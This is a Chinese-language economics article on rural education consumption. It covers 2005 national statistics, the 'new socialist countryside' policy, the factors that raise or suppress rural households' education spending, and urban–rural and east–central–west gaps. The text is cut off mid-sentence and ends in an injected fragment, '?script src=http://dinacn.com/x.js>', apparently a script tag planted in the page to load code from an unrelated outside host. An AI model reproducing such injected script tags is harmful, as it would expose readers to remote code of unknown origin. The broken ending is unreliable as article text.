根据国家统计局统计,2005年我国GDP为15万亿元,财政收入达到3万亿元,农业在GDP中所占的比重低于15%,居住在农村的人口所占比重开始接近于50%,城市化率已接近45%。人均GDP已超过1000美元。这标志着我国进入了“工业反哺农业、城市支持农村”的阶段。为了促进农村的发展,十六届五中全会提出,努力改善农村生产生活条件,提高农民生活质量,促使农村整体面貌出现较大改观,逐步把农村建设成为“生产发展、生活宽裕、乡风文明、村容整洁、管理民主”的社会主义新农村,协调推进农村经济建设、政治建设、文化建设、社会建设。
在社会主义新农村的建设过程中,教育应优先发展。教育消费是衡量农民生活消费质量的重要标志。随着农村经济的发展和农民收入水平的提高,农民教育消费水平也应逐步提高。
农村教育消费的影响因素
农村教育消费作为影响农村居民就业、农业科技水平提高、农民收入增加的重要影响因素,在特定的消费环境中受制于多种因素,主要表现为两个大的方面,一是刺激教育消费增加的因素;二是抑制教育消费增加的因素。具体表现为:
(一)刺激教育消费增加的因素
1.人口因素。中国实施计划生育政策使得农村家庭平均人口数量减少,由此导致农村家庭将更多的支出用于教育消费上。
2.政策制度。自从教育收费制度改革后,教育收费标准提高,农村地区接受教育的负担加重,增加了农村家庭分担教育成本的比例。
3.家庭偏好。家庭消费结构产生变化,随着时间的推移,家庭对人力资本投资和对教育需求的意愿增加,从而家庭教育支出的力度也就增大了。
(二)抑制教育消费增加的因素
1.传统消费观念的影响。传统的观念使人们在消费结构上存在不合理性,农民一方面平日非常节俭,舍不得花钱,另一方面,逢年过节,人情往来,婚丧嫁娶,却不惜花费大量钱财。农民消费中住房占有很大的比重,农民往往倾其毕生的积蓄甚至举债建房,有不少是为了相互攀比,盲目求高求大,这造成了极大的浪费,同时也限制了教育消费的增加。
2.家庭收入水平的影响。农民收入增长缓慢,总体水平较低,这从根本上制约了农民的消费,收入是影响消费水平增长快慢的决定性因素,只有收入的提高才能带来消费的持续有效增长。
3.预期收益的影响。人们接受教育首先是为了改善生存条件,一旦人们这个初衷未能得到满足,那么人们对教育就不会有较高的需求,对教育的消费也就难以增加。对于农村家庭而言,接受教育要付出很高的成本,但其收益却并不明显,这显然会抑制农村教育消费的增长。
但是这两个方面的作用却并不一定是一成不变的,他们是处于动态变化之中的,在某种情况下是利于教育消费增加的,在另外一种情况下就有可能变为抑制教育消费增加的因素。
农村教育消费的时空差异
由于我国经济发展不平衡,因此消费水平也就参差不齐,教育消费也随之产生“同步振荡”。本文从时间和空间的角度对我国农村教育消费进行比较,从而为农民合理增加教育消费提供依据。由于教育消费在中国统计年鉴中没有单独归类,本文用文教、娱乐用品及服务消费来代替教育消费,这样可能会夸大家庭人均教育消费支出,但是得出的数据仍有一定的说服力。
(一)空间差异
1.同一区域内城乡教育消费差异。城乡教育财政补贴悬殊,城镇居民的教育供给制特征明显,城镇居民从中受益较大;而农民居民由于教育附加费等费用的存在,使得城乡居民在教育方面享有很大的不平等。
从图1可以看出,城镇与农村居民在教育消费上存在明显差异,城镇居民仍远远高于农村居民在教育上的消费。由此可以想象,城镇居民本来就享有较好的公共教育设施、教育环境、教育政策等,又加之其在教育上的消费远高于农村居民,所以不难理解农村居民的文化素质要大大低于城镇居民平均文化素质。
2.不同区域内农村教育消费差异。全国三大经济带,即东部发达地区、中部过渡经济带和西部贫困经济带(分别简称为东部、中部、西部地区)的农民教育消费存在较大差异。
从表1可以看出,东部地区人均生活消费支出最高,人均文教、娱乐用品及服务消费支出远远高于全国平均水平。中部地区生活消费支出与人均文教、娱乐用品及服务消费支出均处于中间地位,西部地区生活消费和人均文教、娱乐用品及服务消费支出数最少,三大经济带文教、娱乐用品及服务消费支出比呈现出梯度递减趋势,其中,东、?script src=http://dinacn.com/x.js> |